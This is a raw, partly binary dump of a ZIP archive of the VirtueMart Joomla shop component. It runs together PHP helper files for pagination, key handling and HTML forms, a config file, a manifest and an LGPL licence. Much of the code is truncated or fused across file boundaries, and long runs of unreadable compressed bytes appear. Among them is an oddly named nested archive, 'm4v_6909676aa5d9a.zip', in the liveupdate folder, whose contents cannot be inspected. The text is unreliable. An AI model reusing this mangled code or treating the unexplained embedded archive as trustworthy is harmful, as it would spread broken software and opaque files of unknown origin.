$limits[50] = JHTML::_('select.option', 50); $limits[100] = JHTML::_('select.option', 100); $limits[200] = JHTML::_('select.option', 200); $limits[400] = JHTML::_('select.option', 400); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', $this->limit); ksort($limits); } $namespace = ''; if (JVM_VERSION!==1) { $namespace = 'Joomla.'; } $html = JHTML::_('select.genericlist', $limits, 'limit', 'class="inputbox" size="1" onchange="'.$namespace.'submitform();"', 'value', 'text', $selected); } else { $getArray = (JRequest::get( 'get' )); $link =''; unset ($getArray['limit']); // foreach ($getArray as $key => $value ) $link .= '&'.$key.'='.$value; foreach ($getArray as $key => $value ){ if (is_array($value)){ foreach ($value as $k => $v ){ $link .= '&'.$key.'['.$k.']'.'='.$v; } } else { $link .= '&'.$key.'='.$value; } } $link[0] = "?"; $link = 'index.php'.$link ; if(empty($sequence)){ $sequence = VmConfig::get('pagseq_'.$this->_perRow); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', JRoute::_( $link.'&limit='. $items, false), $items); } } } if(empty($limits) or !is_array($limits)){ if($this->_perRow===1) $this->_perRow = 5; $limits[$this->_perRow * 5] = JHtml::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 5, false) ,$this->_perRow * 5); $limits[$this->_perRow * 10] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 10, false) , $this->_perRow * 10 ); $limits[$this->_perRow * 20] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 20, false) , $this->_perRow * 20 ); $limits[$this->_perRow * 50] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 50, false) , $this->_perRow * 50 ); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', JRoute::_( $link.'&limit='.$this->limit,false),$this->limit); ksort($limits); } $selected= JRoute::_( $link.'&limit='. $selected,false) ; $js = 'onchange="window.top.location.href=this.options[this.selectedIndex].value"'; $html = JHTML::_('select.genericlist', $limits, '', 'class="inputbox" size="1" '.$js , 'value', 'text', $selected); } return $html; } } PK@y>\Ě-components/com_virtuemart/helpers/vmcrypt.phpnuW+A0){ ksort($existingKeys); if(!empty($date)){ $key = ''; foreach($existingKeys as $unixDate=>$values){ if(($unixDate-30) >= $date ){ vmdebug('$unixDate '.$unixDate.' >= $date '.$date); continue; } vmdebug('$unixDate < $date'); //$usedKey = $values; $key = $values['key']; } vmdebug('Use key file ',$key); //include($keyPath .DS. $usedKey.'.php'); } else { $usedKey = end($existingKeys); $key = $usedKey['key']; } vmTime('my time','check'); return $key; } else { $usedKey = date("ymd"); $filename = $keyPath . DS . $usedKey . '.ini'; if (!JFile::exists ($filename)) { $token = JUtility::getHash(JUserHelper::genRandomPassword()); $salt = JUserHelper::getSalt('crypt-md5'); $hashedToken = md5($token . $salt) ; $key = base64_encode($hashedToken); //$options = array('costs'=>VmConfig::get('cryptCost',8)); /*if(!function_exists('password_hash')){ require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'password_compat.php'); } if(function_exists('password_hash')){ $key = password_hash($key, PASSWORD_BCRYPT, $options); }*/ $date = JFactory::getDate(); $today = $date->toUnix(); //$key = pack('H*',$key); $content = ';'; $result = JFile::write($filename, $content); vmTime('my time','check'); return $key; } } vmTime('my time','check'); //return pack('H*',$key); } private static function _getEncryptSafepath () { if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = ShopFunctions::checkSafePath(); if (empty($safePath)) { return NULL; } $encryptSafePath = $safePath . self::ENCRYPT_SAFEPATH; //echo 'my $encryptSafePath '.$encryptSafePath; //if(!JFolder::exists($encryptSafePath)){ self::createEncryptFolder($encryptSafePath); //} return $encryptSafePath; } private static function createEncryptFolder ($folderName) { //$folderName = self::_getEncryptSafepath (); $exists = JFolder::exists ($folderName); if ($exists) { return TRUE; } $created = JFolder::create ($folderName); if ($created) { return TRUE; } $uri = JFactory::getURI (); $link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config'; VmError (JText::sprintf ('COM_VIRTUEMART_CANNOT_STORE_CONFIG', $folderName, '' . $link . '', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'))); return FALSE; } }PK@y>\,SS*components/com_virtuemart/helpers/html.phpnuW+A array('option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true)); /** * Converts all special chars to html entities * * @param string $string * @param string $quote_style * @param boolean $only_special_chars Only Convert Some Special Chars ? ( <, >, &, ... ) * @return string */ static function shopMakeHtmlSafe( $string, $quote_style='ENT_QUOTES', $use_entities=false ) { if( defined( $quote_style )) { $quote_style = constant($quote_style); } if( $use_entities ) { $string = @htmlentities( $string, constant($quote_style), self::vmGetCharset() ); } else { $string = @htmlspecialchars( $string, $quote_style, self::vmGetCharset() ); } return $string; } /** * Returns the charset string from the global _ISO constant * * @return string UTF-8 by default * @since 1.0.5 */ static function vmGetCharset() { $iso = explode( '=', @constant('_ISO') ); if( !empty( $iso[1] )) { return $iso[1]; } else { return 'UTF-8'; } } /** * Generate HTML code for a row using VmHTML function * works also with shopfunctions, for example * $html .= VmHTML::row (array('ShopFunctions', 'renderShopperGroupList'), * 'VMCUSTOM_BUYER_GROUP_SHOPPER', $field->shopper_groups, TRUE, 'custom_param['.$row.'][shopper_groups][]', ' '); * * @func string : function to call * @label string : Text Label * @args array : arguments * @return string: HTML code for row table */ static function row($func,$label){ $VmHTML="VmHTML"; if (!is_array($func)) { $func = array($VmHTML, $func); } $passedArgs = func_get_args(); array_shift( $passedArgs );//remove function array_shift( $passedArgs );//remove label $args = array(); foreach ($passedArgs as $k => $v) { $args[] = &$passedArgs[$k]; } $lang =JFactory::getLanguage(); if($lang->hasKey($label.'_TIP')){ $labelHint = vmText::_($label.'_TIP'); $label = ''.vmText::_($label).'' ; } //Fallback else if($lang->hasKey($label.'_EXPLAIN')){ $labelHint = vmText::_($label.'_EXPLAIN'); $label = ''.vmText::_($label).'' ; } else { $label = vmText::_($label); } $html = ' '.$label.' '.call_user_func_array($func, $args).' '; return $html ; } /* simple value display */ static function value( $value ){ $lang =JFactory::getLanguage(); return $lang->hasKey($value) ? vmText::_($value) : $value; } /** * The sense is unclear ! * @deprecated * @param $value * @return mixed */ static function raw( $value ){ return $value; } /** * Generate HTML code for a checkbox * * @param string Name for the checkbox * @param mixed Current value of the checkbox * @param mixed Value to assign when checkbox is checked * @param mixed Value to assign when checkbox is not checked * @return string HTML code for checkbox */ static function checkbox($name, $value, $checkedValue=1, $uncheckedValue=0, $extraAttribs = '', $id = null) { if (!$id) $id=$name ; if ($value == $checkedValue) { $checked = 'checked="checked"'; } else { $checked = ''; } $htmlcode = ''; $htmlcode .= ''; return $htmlcode; } /** * * @author Patrick Kohl * @param array $options( value & text) * @param string $name option name * @param string $defaut defaut value * @param string $key option value * @param string $text option text * @param boolean $zero add a '0' value in the option * return a select list */ public static function select($name, $options, $default = '0',$attrib = "onchange='submit();'",$key ='value' ,$text ='text', $zero=true, $chosenDropDowns=true,$tranlsate=true){ if ($zero==true) { $option = array($key =>"0", $text => vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $options = array_merge(array($option), $options); } if ($chosenDropDowns) { vmJsApi::chosenDropDowns(); $attrib .= ' class="vm-chzn-select"'; } return VmHTML::genericlist($options,$name,$attrib,$key,$text,$default,false,$tranlsate); } /** * Generates an HTML selection list. * @author Joomla 2.5.14 * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the ' . $options['format.eol']; return $html; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * @author Joomla 2.5.14 * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see JHtml::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * JText::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list * * @since 11.1 */ public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false) { $options = array_merge( JHtml::$formatOptions, self::$_optionDefaults['option'], array('format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false) ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->$options['option.key']; $text = $element->$options['option.text']; if (isset($element->$options['option.attr'])) { $attr = $element->$options['option.attr']; } if (isset($element->$options['option.id'])) { $id = $element->$options['option.id']; } if (isset($element->$options['option.label'])) { $label = $element->$options['option.label']; } if (isset($element->$options['option.disable']) && $element->$options['option.disable']) { $extra .= ' disabled="disabled"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } // The use of options that contain optgroup HTML elements was // somewhat hacked for J1.5. J1.6 introduces the grouplist() method // to handle this better. The old solution is retained through the // "groups" option, which defaults true in J1.6, but should be // deprecated at some point in the future. $key = (string) $key; // if no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1])) { $text .= ' - ' . $splitText[1]; } if ($options['list.translate'] && !empty($label)) { $label = vmText::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = JArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach ($options['list.select'] as $val) { $key2 = is_object($val) ? $val->$options['option.key'] : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key == (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = vmText::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '' . $options['format.eol']; } return $html; } /** * Prints an HTML dropdown box named $name using $arr to * load the drop down. If $value is in $arr, then $value * will be the selected option in the dropdown. * @author gday * @author soeren * * @param string $name The name of the select element * @param string $value The pre-selected value * @param array $arr The array containing $key and $val * @param int $size The size of the select element * @param string $multiple use "multiple=\"multiple\" to have a multiple choice select list * @param string $extra More attributes when needed * @return string HTML drop-down list */ static function selectList($name, $value, $arrIn, $size=1, $multiple="", $extra="", $data_placeholder='') { $html = ''; if( empty( $arrIn ) ) { $arr = array(); } else { if(!is_array($arrIn)){ $arr=array($arrIn); } else { $arr=$arrIn; } } if (!empty($data_placeholder)) { $data_placeholder='data-placeholder="'.vmText::_($data_placeholder).'"'; } $html = ''; return $html; } /** * Creates a Radio Input List * * @param string $name * @param string $value default value * @param string $arr * @param string $extra * @return string */ static function radioList($name, $value, &$arr, $extra="", $separator='
      ') { $html = ''; if( empty( $arr ) ) { $arr = array(); } $html = ''; $i = 0; foreach($arr as $key => $val) { $checked = ''; if( is_array( $value )) { if( in_array( $key, $value )) { $checked = 'checked="checked"'; } } else { if(strtolower($value) == strtolower($key) ) { $checked = 'checked="checked"'; } } $html .= '\n"; $html .= '".$separator."\n"; } return $html; } /** * Creates radio List * @param array $radios * @param string $name * @param string $default * @return string */ static function radio( $name, $radios, $default,$key='value',$text='text') { return '
      '.JHTML::_('select.radiolist', $radios, $name, '', $key, $text, $default).'
      '; } /** * Creating rows with boolean list * * @author Patrick Kohl * @param string $label * @param string $name * @param string $value * */ public static function booleanlist ( $name, $value,$class='class="inputbox"'){ return '
      '.JHTML::_( 'select.booleanlist', $name , $class , $value).'
      ' ; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function input($name,$value,$class='class="inputbox"',$readonly='',$size='37',$maxlength='255',$more=''){ return ''.$more; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function textarea($name,$value,$class='class="inputbox"',$cols='100',$rows="4"){ return ''; } /** * render editor code * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function editor($name,$value,$size='100%',$height='300',$hide = array('pagebreak', 'readmore')){ $editor =JFactory::getEditor(); return $editor->display($name, $value, $size, $height, null, null ,$hide ) ; } /** * renders the hidden input * @author Max Milbers */ public static function inputHidden($values){ $html=''; foreach($values as $k=>$v){ $html .= ''; } return $html; } /** * @author Patrick Kohl * @var $type type of regular Expression to validate * $type can be I integer, F Float, A date, M, time, T text, L link, U url, P phone *@bool $required field is required *@Int $min minimum of char *@Int $max max of char *@var $match original ID field to compare with this such as Email, passsword *@ Return $html class for validate javascript **/ public static function validate($type='',$required=true, $min=null,$max=null,$match=null) { if ($required) $validTxt = 'required'; else $validTxt = 'optional'; if (isset($min)) $validTxt .= ',minSize['.$min.']'; if (isset($max)) $validTxt .= ',maxSize['.$max.']'; static $validateID=0 ; $validateID++; if ($type=='S' ) return 'id="validate'.$validateID.'" class="validate[required,minSize[2],maxSize[255]]"'; $validate = array ( 'I'=>'onlyNumberSp', 'F'=>'number','D'=>'dateTime','A'=>'date','M'=>'time','T'=>'Text','L'=>'link','U'=>'url','P'=>'phone'); if (isset ($validate[$type])) $validTxt .= ',custom['.$validate[$type].']'; $html ='id="validate'.$validateID.'" class="validate['.$validTxt.']"'; return $html ; } }PK@y>\ (ko^^6components/com_virtuemart/virtuemart_defaults.cfg-distnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 useVendorEmail=0 dangeroustools=0 debug_enable=none google_jquery=0 multix=none usefancy=1 jchosen=1 enableEnglish=1 ##Shopfront pdf_button_enable=1 show_emailfriend=0 show_printicon=1 show_out_of_stock_products=1 coupons_enable=1 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=bought showRatingFor=all ratingMode=bought reviews_autopublish=1 reviews_minimum_comment_length=0 reviews_maximum_comment_length=2000 vmtemplate=0 categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_store_desc=1 show_categories=1 homepage_categories_per_row=3 homepage_products_per_row=3 show_featured=1 featured_products_rows=1 show_topTen=1 topTen_products_rows=1 show_recent=1 recent_products_rows=1 show_latest=1 latest_products_rows=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=pc.ordering browse_cat_orderby_field=c.ordering browse_orderby_fields=array:`p`.product_sku|category_name|mf_name|product_name|pc.ordering browse_search_fields=array:`p`.product_sku|category_name|category_description|mf_name|product_name|product_s_desc|product_desc ##Pricing askprice=1 roundindig=1 show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 unitPrice=1 unitPriceText=1 unitPriceRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER inv_os=C email_os_s=array:U|C|X|R|S email_os_v=array:U|C|X|R ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PK@y>\)#components/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ (components/com_virtuemart/virtuemart.xmlnuW+A VIRTUEMART January 10 2014 The VirtueMart Development Team max|at|virtuemart.net http://www.virtuemart.net Copyright (C) 2004-2013 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d install/script.virtuemart.php install/script.virtuemart.php install/script.virtuemart.php router.php virtuemart.php index.html virtuemart_parser.php assets controllers helpers views en-GB/en-GB.com_virtuemart.ini en-GB/en-GB.com_virtuemart.sys.ini en-GB/en-GB.com_virtuemart.sef.ini en-GB/en-GB.com_virtuemart_orders.ini en-GB/en-GB.com_virtuemart_shoppers.ini COM_VIRTUEMART admin.virtuemart.php changelog.php COPYRIGHT.php index.html version.php virtuemart_defaults.cfg-dist config.xml access.xml assets controllers elements helpers install liveupdate models plugins tables views en-GB/en-GB.com_virtuemart.ini en-GB/en-GB.com_virtuemart.sys.ini en-GB/en-GB.com_virtuemart.menu.ini en-GB/en-GB.com_virtuemart_countries.ini en-GB/en-GB.com_virtuemart_config.ini en-GB/en-GB.com_virtuemart_help.ini
      PK@y>\$_ 0components/com_virtuemart/liveupdate/LICENSE.txtnuW+A============================================================================== Akeeba Live Update - One-click updates for Joomla! extensions Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com Live Update is a sub-component to assist you in providing one-click updates for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the GNU Lesser General Public License version 3 or, at your option, any later version published by the Free Software Foundation. You can use it royalty- free in any Joomla! extension, Free or Proprietary. The full text of its license is provided below. ============================================================================== GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.PK@y>\9components/com_virtuemart/liveupdate/liveupdate/index.phpnuW+APK@y>\rr9components/com_virtuemart/liveupdate/liveupdate/cache.phpnuW+APK@y>\BeLEcomponents/com_virtuemart/liveupdate/liveupdate/m4v_6909676aa5d9a.zipnuW+APKd[b_6909676aa5d9a.tmpUHW*t 8/gq!Pqێ+.5?I{:nڢZ> %^<7WG Վv+NUYF.cMĥIQɺ(!jZ)+DT cd3/IO~IsKQhp2 㔸l4?' MxkUSY tŵO>Z1R+gf2SaíE5T?`Кv]~?x$-ZGk=ﶃ1^~MOS?{D>G!pc^ˇP-V?#.#A9jςL?f9F`f`NMB=3ۣq=9ȾEɡH` EVZ t-BՊ|=~ !0gխ1haZx0՞-(ZQЙd4pFq=#߿K"A #T963/X+sT_qdI!R&#"YPhQ vB ):GLRhĄ̜Qa&9p2+hAV2UX ЁɒYp/ҼX9_M g8˷jM K5(5`e4RNْ i\Wm$y$Rlikqqڋd}׋Û3ua4 2pԞ˯$_!t`8qfOm^ž G<$Q-q:<33<]mI.%GɁ2]6' F2Aq0c:^{6c)x"TrBn$ /^{KB5=P}SӜ\HyD6e{Dːf7!KTe-F<Ǖ?N*aD[PKd[kikc_6909676aa5d9a.tmp]Xm} ޅ6Pop ԻtUZWw#q'4sH_c?)M?gm~LZ5N:\ 5 hP\֜@+z9p-iE':^ HbL_~I?тN:2X_"rTC6%`?MO@F-pez7' C,~,_9wZ5u\)#ūڃ|UδGI+Q8IwT"GbrQr6L%0Pq]F:mzX-a*L9]DYĨ`[(%-L.7ILMHػb,S lJcVmd3.FõP : @CJ*мu !rA&OH'd>~6B(d^TZ3o>3Jj)ri F#J ܥ*(#s! Zጵ^,I~dQ? wϗNRm.y) g{5J;jXM?}u8}޳g͎סl=pS[N޳Ԧl֧\i? @ fI)aeS䧐\cML o&$|bvIGDM"ƘFB;YDfq gI$8;BTH|:@ˬevJ];eRE=`T}Kά'ىzS;S#[ۂ]5EZ:m2 ds%yrwj Y!'΁6q߻5aDaU{Dbhh eVSoy A.6nD''U~꿻%ȗ5{齱HQמεK'<n(e5\Յv(kmڒ7kt W~Z_WVgp ͒qǷoJ{kN[ 7iBvoA9+ך9){vэs Czgy+R4A1%slpmNRS6^ K+=v䗑YwP#kO$v/7ن lv7loIjҒ595EB`2*E_\08: };4! 6$M/}-&‚7Z`pGeܘ:kQG]KP ^v ln%8ŸԞsb#Sd8+z"˞/IEY%H@N4!Ltam5/9d0皷ijI;:c&>fZDRfrX?Ɯ`q \=_~a3v% !*(?g^rv|‹U5hˆyu8T4=Glfi07=7TB߲0[&k.pq VNqŵ}l8eQG\>'G.HY{ǟKУakh?FiO<Dh F\`5鈼ܨln+*Fecx~+y8{hUr w|}rRc㮪 #%'_I#:M.ufYi(QD^[v.DdAp8ٰKʼn<=~KB9Zg5vKJ R; jAkayŠ\^?YZ94줠I4ğHIVc9LXtC3Y @ iyZܳ asγ1VY1}!8̨t:Uc7 v8{ > '=4ؐh^4Ëց(+ 4h \ Kt &wx:+AͰh(*~rAjc#fIvUN6qYM'Hu EV@ߢ|PuD ̇&ߣttfkH*ߒЁ~@wSiRB]1ɀ i6|"b礤Ƿt0Q=F(z2H5Q/6rg g:K͗?il|J[hnxkV"RvõΛ->_@GԒtɾ"`[~rZxUťsQu={+sugy4ۣs`)pCΑ'E!,11fX@mFwOhf@8_2Lay#rUN)J"kcX5CL\h8ŠSXr @ `$.n47z{y=O=E6Uylpۋ=8g;mĽB֧6e(+M%ï<#@&?[!zںn4ÕkaH4Hnā50OE Eh(j+@czݕM#)7 iU4Kd6G'pP'Ӭٗ*f& ьeo]^7hߠţ4<J[`=CF'P0\,r9components/com_virtuemart/liveupdate/liveupdate/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PK@y>\COHcomponents/com_virtuemart/liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь 